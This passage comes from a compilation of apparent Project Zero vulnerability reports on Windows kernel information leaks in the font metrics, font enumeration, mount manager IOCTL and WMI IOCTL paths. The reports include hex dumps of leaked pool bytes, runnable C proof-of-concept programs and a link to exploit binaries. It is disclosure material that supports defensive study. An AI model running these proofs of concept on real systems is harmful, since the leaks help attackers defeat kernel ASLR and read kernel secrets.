00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ................

The OUTLINETEXTMETRIC structure starts at offset 0x10, the 0x00 values indicate initialized bytes, while 0xff are the uninitialized ones. Therefore, we can see there are 4 subsequent uninitialized bytes at offsets 0x3d-0x40 of the structure (corresponding to the padding after the otmTextMetrics structure, and the value of the otmFiller byte), and 1 uninitialized byte at offset 0x4b (which is the padding after the otmPanoseNumber structure).

The outcome of the vulnerability can be also observed in practice, by running the attached proof-of-concept program on a Windows system with Special Pools enabled for win32k.sys, and the win32k!gpTmpGlobalFree optimization disabled (so that the allocations actually take place on the pools every time). Then, we can see how the marker byte inserted by Special Pools can be consistently observed at offsets 0x3d-0x40 and 0x4b of the output structure:

00000000: 9e 01 00 00 0a 00 00 00 08 00 00 00 02 00 00 00 ................
00000010: 02 00 00 00 00 00 00 00 09 00 00 00 39 00 00 00 ............9...
00000020: 90 01 00 00 00 00 00 00 60 00 00 00 60 00 00 00 ........`...`...
00000030: 20 00 fc ff 1f 00 20 00 00 00 00 17 00[e5 e5 e5] ..... .........
00000040:[e5]02 02 06 03 05 04 05 02 03 04[e5]40 00 00 00 ............@...
00000050: 08 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 08 00 00 06 00 00 00 fe ff ff ff 01 00 00 00 ................
00000070: 04 00 00 00 02 00 00 00 f3 ff ff ff 08 00 00 00 ................
00000080: 2c 00 00 00 fe ff ff ff 07 00 00 00 fe ff ff ff ,...............
00000090: 00 00 00 00 09 00 00 00 0f 00 00 00 05 00 00 00 ................
000000a0: 00 00 00 00 01 00 00 00 0f 00 00 00 05 00 00 00 ................
000000b0: 00 00 00 00 04 00 00 00 00 00 00 00 02 00 00 00 ................
000000c0: 00 00 00 00 ff ff ff ff d8 00 00 00 f8 00 00 00 ................
000000d0: 18 01 00 00 2a 01 00 00 54 00 69 00 6d 00 65 00 ....*...T.i.m.e.
000000e0: 73 00 20 00 4e 00 65 00 77 00 20 00 52 00 6f 00 s. .N.e.w. .R.o.
000000f0: 6d 00 61 00 6e 00 00 00 54 00 69 00 6d 00 65 00 m.a.n...T.i.m.e.
00000100: 73 00 20 00 4e 00 65 00 77 00 20 00 52 00 6f 00 s. .N.e.w. .R.o.
00000110: 6d 00 61 00 6e 00 00 00 4e 00 6f 00 72 00 6d 00 m.a.n...N.o.r.m.
00000120: 61 00 6c 00 6e 00 79 00 00 00 4d 00 6f 00 6e 00 a.l.n.y...M.o.n.
00000130: 6f 00 74 00 79 00 70 00 65 00 3a 00 54 00 69 00 o.t.y.p.e.:.T.i.
00000140: 6d 00 65 00 73 00 20 00 4e 00 65 00 77 00 20 00 m.e.s. .N.e.w. .
00000150: 52 00 6f 00 6d 00 61 00 6e 00 20 00 52 00 65 00 R.o.m.a.n. .R.e.
00000160: 67 00 75 00 6c 00 61 00 72 00 3a 00 56 00 65 00 g.u.l.a.r.:.V.e.
00000170: 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 r.s.i.o.n. .5...
00000180: 31 00 31 00 20 00 28 00 4d 00 69 00 63 00 72 00 1.1. .(.M.i.c.r.
00000190: 6f 00 73 00 6f 00 66 00 74 00 29 00 00 00 ?? ?? o.s.o.f.t.).....
---
00000000: 9e 01 00 00 0a 00 00 00 08 00 00 00 02 00 00 00 ................
00000010: 02 00 00 00 00 00 00 00 09 00 00 00 39 00 00 00 ............9...
00000020: 90 01 00 00 00 00 00 00 60 00 00 00 60 00 00 00 ........`...`...
00000030: 20 00 fc ff 1f 00 20 00 00 00 00 17 00[7f 7f 7f] ..... .........
00000040:[7f]02 02 06 03 05 04 05 02 03 04[7f]40 00 00 00 ............@...
00000050: 08 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 08 00 00 06 00 00 00 fe ff ff ff 01 00 00 00 ................
00000070: 04 00 00 00 02 00 00 00 f3 ff ff ff 08 00 00 00 ................
00000080: 2c 00 00 00 fe ff ff ff 07 00 00 00 fe ff ff ff ,...............
00000090: 00 00 00 00 09 00 00 00 0f 00 00 00 05 00 00 00 ................
000000a0: 00 00 00 00 01 00 00 00 0f 00 00 00 05 00 00 00 ................
000000b0: 00 00 00 00 04 00 00 00 00 00 00 00 02 00 00 00 ................
000000c0: 00 00 00 00 ff ff ff ff d8 00 00 00 f8 00 00 00 ................
000000d0: 18 01 00 00 2a 01 00 00 54 00 69 00 6d 00 65 00 ....*...T.i.m.e.
000000e0: 73 00 20 00 4e 00 65 00 77 00 20 00 52 00 6f 00 s. .N.e.w. .R.o.
000000f0: 6d 00 61 00 6e 00 00 00 54 00 69 00 6d 00 65 00 m.a.n...T.i.m.e.
00000100: 73 00 20 00 4e 00 65 00 77 00 20 00 52 00 6f 00 s. .N.e.w. .R.o.
00000110: 6d 00 61 00 6e 00 00 00 4e 00 6f 00 72 00 6d 00 m.a.n...N.o.r.m.
00000120: 61 00 6c 00 6e 00 79 00 00 00 4d 00 6f 00 6e 00 a.l.n.y...M.o.n.
00000130: 6f 00 74 00 79 00 70 00 65 00 3a 00 54 00 69 00 o.t.y.p.e.:.T.i.
00000140: 6d 00 65 00 73 00 20 00 4e 00 65 00 77 00 20 00 m.e.s. .N.e.w. .
00000150: 52 00 6f 00 6d 00 61 00 6e 00 20 00 52 00 65 00 R.o.m.a.n. .R.e.
00000160: 67 00 75 00 6c 00 61 00 72 00 3a 00 56 00 65 00 g.u.l.a.r.:.V.e.
00000170: 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 r.s.i.o.n. .5...
00000180: 31 00 31 00 20 00 28 00 4d 00 69 00 63 00 72 00 1.1. .(.M.i.c.r.
00000190: 6f 00 73 00 6f 00 66 00 74 00 29 00 00 00 ?? ?? o.s.o.f.t.).....

In summary, the vulnerability can lead to a repeatable disclosure of 5 bytes (4 subsequent) at fixed offsets of kernel pool allocations with largely controlled size, to a user-mode program. This in turn could make it possible to defeat certain exploit mitigations (kASLR) or get access to other sensitive data stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      } else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      } else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  // Create a Device Context.
  HDC hdc = CreateCompatibleDC(NULL);

  // Create a TrueType font.
  HFONT hfont = CreateFont(10,                  // nHeight
                           10,                  // nWidth
                           0,                   // nEscapement
                           0,                   // nOrientation
                           FW_DONTCARE,         // fnWeight
                           FALSE,               // fdwItalic
                           FALSE,               // fdwUnderline
                           FALSE,               // fdwStrikeOut
                           ANSI_CHARSET,        // fdwCharSet
                           OUT_DEFAULT_PRECIS,  // fdwOutputPrecision
                           CLIP_DEFAULT_PRECIS, // fdwClipPrecision
                           DEFAULT_QUALITY,     // fdwQuality
                           FF_DONTCARE,         // fdwPitchAndFamily
                           L"Times New Roman");

  // Select the font into the DC.
  SelectObject(hdc, hfont);
  
  // Get the number of bytes the text metrics consume.
  UINT MetricsLength = GetOutlineTextMetrics(hdc, 0, NULL);

  // Obtain the metrics descriptor and dump it on the screen.
  PBYTE OutputBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MetricsLength);
  GetOutlineTextMetrics(hdc, MetricsLength, (LPOUTLINETEXTMETRICW)OutputBuffer);

  PrintHex(&OutputBuffer[0], MetricsLength);

  // Free resources.
  HeapFree(GetProcessHeap(), 0, OutputBuffer);
  DeleteObject(hfont);
  DeleteDC(hdc);

  return 0;
}
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1150&desc=2

We have discovered that the handler of the IOCTL_MOUNTMGR_QUERY_POINTS IOCTL in mountmgr.sys discloses portions of uninitialized pool memory to user-mode clients, due to output structure alignment holes.

On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ................
00000020: 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 ff ff ................
00000030: 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 ff ff ................
00000040: 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 ff ff ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---

Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data is returned in a MOUNTMGR_MOUNT_POINTS structure [1], which in turn contains a list of MOUNTMGR_MOUNT_POINT structures [2]. If we map the above shadow bytes to the structure definitions, it turns out that the repeating pairs of uninitialized bytes correspond to alignment holes after the SymbolicLinkNameLength, UniqueIdLength and DeviceNameLength fields (all of type USHORT, followed by LONG fields, which must be 4-aligned). The concrete number of leaked bytes depends on the number of entries returned by the IOCTL.

The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:

--- cut ---
00000000: 56 03 00 00 05 00 00 00 ba 00 00 00 60 00 00 00 V...........`...
00000010: 80 00 00 00 0c 00 00 00 8c 00 00 00 2e 00[67 67]..............gg
00000020: 54 01 00 00 1c 00[67 67]1a 01 00 00 0c 00[67 67]T.....gg......gg
00000030: 26 01 00 00 2e 00[67 67]70 01 00 00 60 00[67 67]&.....ggp...`.gg
00000040: 1a 01 00 00 0c 00[67 67]26 01 00 00 2e 00[67 67]......gg&.....gg
00000050: da 02 00 00 60 00[67 67]d0 01 00 00 ee 00[67 67]....`.gg......gg
00000060: be 02 00 00 1c 00[67 67]3a 03 00 00 1c 00[67 67]......gg:.....gg
00000070: d0 01 00 00 ee 00[67 67]be 02 00 00 1c 00[67 67]......gg......gg
00000080: ee a2 5d 9f 00 00 10 00 00 00 00 00 5c 00 44 00 ..].........\.D.
00000090: 65 00 76 00 69 00 63 00 65 00 5c 00 48 00 61 00 e.v.i.c.e.\.H.a.
000000a0: 72 00 64 00 64 00 69 00 73 00 6b 00 56 00 6f 00 r.d.d.i.s.k.V.o.
000000b0: 6c 00 75 00 6d 00 65 00 31 00 5c 00 3f 00 3f 00 l.u.m.e.1.\.?.?.
000000c0: 5c 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 7b 00 \.V.o.l.u.m.e.{.
000000d0: 62 00 63 00 30 00 35 00 62 00 34 00 39 00 34 00 b.c.0.5.b.4.9.4.
000000e0: 2d 00 64 00 38 00 34 00 37 00 2d 00 31 00 31 00 -.d.8.4.7.-.1.1.
000000f0: 65 00 34 00 2d 00 61 00 33 00 30 00 64 00 2d 00 e.4.-.a.3.0.d.-.
00000100: 38 00 30 00 36 00 65 00 36 00 66 00 36 00 65 00 8.0.6.e.6.f.6.e.
00000110: 36 00 39 00 36 00 33 00 7d 00 ee a2 5d 9f 00 00 6.9.6.3.}...]...
00000120: 50 06 00 00 00 00 5c 00 44 00 65 00 76 00 69 00 P.....\.D.e.v.i.
00000130: 63 00 65 00 5c 00 48 00 61 00 72 00 64 00 64 00 c.e.\.H.a.r.d.d.
00000140: 69 00 73 00 6b 00 56 00 6f 00 6c 00 75 00 6d 00 i.s.k.V.o.l.u.m.
00000150: 65 00 32 00 5c 00 44 00 6f 00 73 00 44 00 65 00 e.2.\.D.o.s.D.e.
00000160: 76 00 69 00 63 00 65 00 73 00 5c 00 43 00 3a 00 v.i.c.e.s.\.C.:.
00000170: 5c 00 3f 00 3f 00 5c 00 56 00 6f 00 6c 00 75 00 \.?.?.\.V.o.l.u.
00000180: 6d 00 65 00 7b 00 62 00 63 00 30 00 35 00 62 00 m.e.{.b.c.0.5.b.
00000190: 34 00 39 00 35 00 2d 00 64 00 38 00 34 00 37 00 4.9.5.-.d.8.4.7.
000001a0: 2d 00 31 00 31 00 65 00 34 00 2d 00 61 00 33 00 -.1.1.e.4.-.a.3.
000001b0: 30 00 64 00 2d 00 38 00 30 00 36 00 65 00 36 00 0.d.-.8.0.6.e.6.
000001c0: 66 00 36 00 65 00 36 00 39 00 36 00 33 00 7d 00 f.6.e.6.9.6.3.}.
000001d0: 5c 00 3f 00 3f 00 5c 00 49 00 44 00 45 00 23 00 \.?.?.\.I.D.E.#.
000001e0: 43 00 64 00 52 00 6f 00 6d 00 56 00 42 00 4f 00 C.d.R.o.m.V.B.O.
000001f0: 58 00 5f 00 43 00 44 00 2d 00 52 00 4f 00 4d 00 X._.C.D.-.R.O.M.
00000200: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.
00000210: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.
00000220: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.
00000230: 5f 00 5f 00 5f 00 5f 00 5f 00 31 00 2e 00 30 00 _._._._._.1...0.
00000240: 5f 00 5f 00 5f 00 5f 00 5f 00 23 00 35 00 26 00 _._._._._.#.5.&.
00000250: 31 00 30 00 36 00 61 00 66 00 31 00 37 00 31 00 1.0.6.a.f.1.7.1.
00000260: 26 00 30 00 26 00 31 00 2e 00 30 00 2e 00 30 00 &.0.&.1...0...0.
00000270: 23 00 7b 00 35 00 33 00 66 00 35 00 36 00 33 00 #.{.5.3.f.5.6.3.
00000280: 30 00 64 00 2d 00 62 00 36 00 62 00 66 00 2d 00 0.d.-.b.6.b.f.-.
00000290: 31 00 31 00 64 00 30 00 2d 00 39 00 34 00 66 00 1.1.d.0.-.9.4.f.
000002a0: 32 00 2d 00 30 00 30 00 61 00 30 00 63 00 39 00 2.-.0.0.a.0.c.9.
000002b0: 31 00 65 00 66 00 62 00 38 00 62 00 7d 00 5c 00 1.e.f.b.8.b.}.\.
000002c0: 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 43 00 D.e.v.i.c.e.\.C.
000002d0: 64 00 52 00 6f 00 6d 00 30 00 5c 00 3f 00 3f 00 d.R.o.m.0.\.?.?.
000002e0: 5c 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 7b 00 \.V.o.l.u.m.e.{.
000002f0: 62 00 63 00 30 00 35 00 62 00 34 00 39 00 38 00 b.c.0.5.b.4.9.8.
00000300: 2d 00 64 00 38 00 34 00 37 00 2d 00 31 00 31 00 -.d.8.4.7.-.1.1.
00000310: 65 00 34 00 2d 00 61 00 33 00 30 00 64 00 2d 00 e.4.-.a.3.0.d.-.
00000320: 38 00 30 00 36 00 65 00 36 00 66 00 36 00 65 00 8.0.6.e.6.f.6.e.
00000330: 36 00 39 00 36 00 33 00 7d 00 5c 00 44 00 6f 00 6.9.6.3.}.\.D.o.
00000340: 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 s.D.e.v.i.c.e.s.
00000350: 5c 00 44 00 3a 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? \.D.:...........
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winioctl.h>
#include <cstdio>

typedef struct _MOUNTMGR_MOUNT_POINT {
  ULONG  SymbolicLinkNameOffset;
  USHORT SymbolicLinkNameLength;
  ULONG  UniqueIdOffset;
  USHORT UniqueIdLength;
  ULONG  DeviceNameOffset;
  USHORT DeviceNameLength;
} MOUNTMGR_MOUNT_POINT, *PMOUNTMGR_MOUNT_POINT;

typedef struct _MOUNTMGR_MOUNT_POINTS {
  ULONG                Size;
  ULONG                NumberOfMountPoints;
  MOUNTMGR_MOUNT_POINT MountPoints[1];
} MOUNTMGR_MOUNT_POINTS, *PMOUNTMGR_MOUNT_POINTS;

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  // Open mount point manager.
  HANDLE hMntPointMgr = CreateFile(L"\\\\.\\MountPointManager",
                                   0,
                                   FILE_SHARE_READ | FILE_SHARE_WRITE,
                                   NULL,
                                   OPEN_EXISTING,
                                   FILE_ATTRIBUTE_NORMAL,
                                   NULL);
  if (hMntPointMgr == INVALID_HANDLE_VALUE) {
    printf("CreateFile failed, %d\n", GetLastError());
    return 1;
  }

  // Request data, assuming it fits into the 4096-byte buffer.
  MOUNTMGR_MOUNT_POINT mnt_point;
  RtlZeroMemory(&mnt_point, sizeof(mnt_point));

  BYTE OutputBuffer[4096];
  DWORD BytesReturned;
  if (!DeviceIoControl(hMntPointMgr, 0x6D0008, &mnt_point, sizeof(mnt_point), OutputBuffer, sizeof(OutputBuffer), &BytesReturned, NULL)) {
    printf("DeviceIoControl failed, %d\n", GetLastError());
    CloseHandle(hMntPointMgr);
    return 1;
  }

  PrintHex(OutputBuffer, BytesReturned);

  CloseHandle(hMntPointMgr);

  return 0;
}
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1153

We have discovered that the win32k!NtGdiEnumFonts system call handler discloses very large portions of uninitialized pool memory to user-mode clients.

The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for win32k.sys. Then, it is clearly visible that a significant number of the bytes are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region. In this case, the marker byte is 0x47 ("G"), and a dump of the initial 512 bytes of output is shown below. A full dump of the output can be found in the attached file.

--- cut ---
00000000: e4 01 00 00 70 01 00 00 04 00 00 00 25 00 00 00 ....p.......%...
00000010: 12 00 00 00 00 00 00 00 00 00 00 00 90 01 00 00 ................
00000020: 00 00 00 ee 03 02 01 31 43 00 6f 00 6e 00 73 00 .......1C.o.n.s.
00000030: 6f 00 6c 00 61 00 73 00 00 00 47 47 47 47 47 47 o.l.a.s...GGGGGG
00000040: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
00000050: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
00000060: 47 47 47 47 47 47 00 00 43 00 6f 00 6e 00 73 00 GGGGGG..C.o.n.s.
00000070: 6f 00 6c 00 61 00 73 00 00 00 47 47 47 47 47 47 o.l.a.s...GGGGGG
00000080: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
00000090: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
000000a0: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
000000b0: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
000000c0: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
000000d0: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
000000e0: 47 47 47 47 47 47 00 00 52 00 65 00 67 00 75 00 GGGGGG..R.e.g.u.
000000f0: 6c 00 61 00 72 00 00 00 47 47 47 47 47 47 47 47 l.a.r...GGGGGGGG
00000100: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
00000110: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
00000120: 47 47 47 47 47 47 00 00 43 00 65 00 6e 00 74 00 GGGGGG..C.e.n.t.
00000130: 72 00 61 00 6c 00 20 00 45 00 75 00 72 00 6f 00 r.a.l. .E.u.r.o.
00000140: 70 00 65 00 61 00 6e 00 00 00 47 47 47 47 47 47 p.e.a.n...GGGGGG
00000150: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
00000160: 47 47 47 47 47 47 47 47 64 76 00 08 00 00 00 00 GGGGGGGGdv......
00000170: 47 47 47 47 00 ff 01 02 25 00 00 00 1d 00 00 00 GGGG....%.......
00000180: 08 00 00 00 05 00 00 00 00 00 00 00 11 00 00 00 ................
00000190: 23 00 00 00 90 01 00 00 00 00 00 00 60 00 00 00 #...........`...
000001a0: 60 00 00 00 00 00 ff fe 01 00 02 00 00 00 00 36 `..............6
000001b0: ee 47 47 47 40 00 24 00 00 08 00 00 5e 09 00 00 .GGG@.$.....^...
000001c0: 66 04 00 00 ff 02 00 e1 ff fc 00 40 09 00 00 00 f..........@....
000001d0: 00 00 00 00 9f 01 00 60 00 00 d7 df 61 6c 00 08 .......`....al..
000001e0: 00 00 00 00 e4 01 00 00 70 01 00 00 04 00 00 00 ........p.......
000001f0: 25 00 00 00 12 00 00 00 00 00 00 00 00 00 00 00 %...............
--- cut ---


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42214.zip
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1152

We have discovered that the handler of the 0x224000 IOCTL (corresponding to the WmiQueryAllData functionality) implemented by the \\.\WMIDataDevice device in ntoskrnl.exe (as dispatched by the nt!WmipIoControl routine) discloses portions of uninitialized pool memory to user-mode clients.

On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000d0: 00 00 00 00 00 00 00 00 00 00 ff ff 00 00 00 00 ................
000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ................
00000180: ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 ................
00000190: ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001b0: ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ................
000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002f0: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
00000300: 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 ................
00000310: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000320: 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 ................
00000330: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000340: 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 ................
00000350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000003f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000430: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000460: 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ................
00000470: ff ff ff ff ff ff ff ff ?? ?? ?? ?? ?? ?? ?? ?? ................
--- cut ---

Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. As shown above, the uninitialized bytes constitute a significant portion of the overall memory area (72 out of 1136).

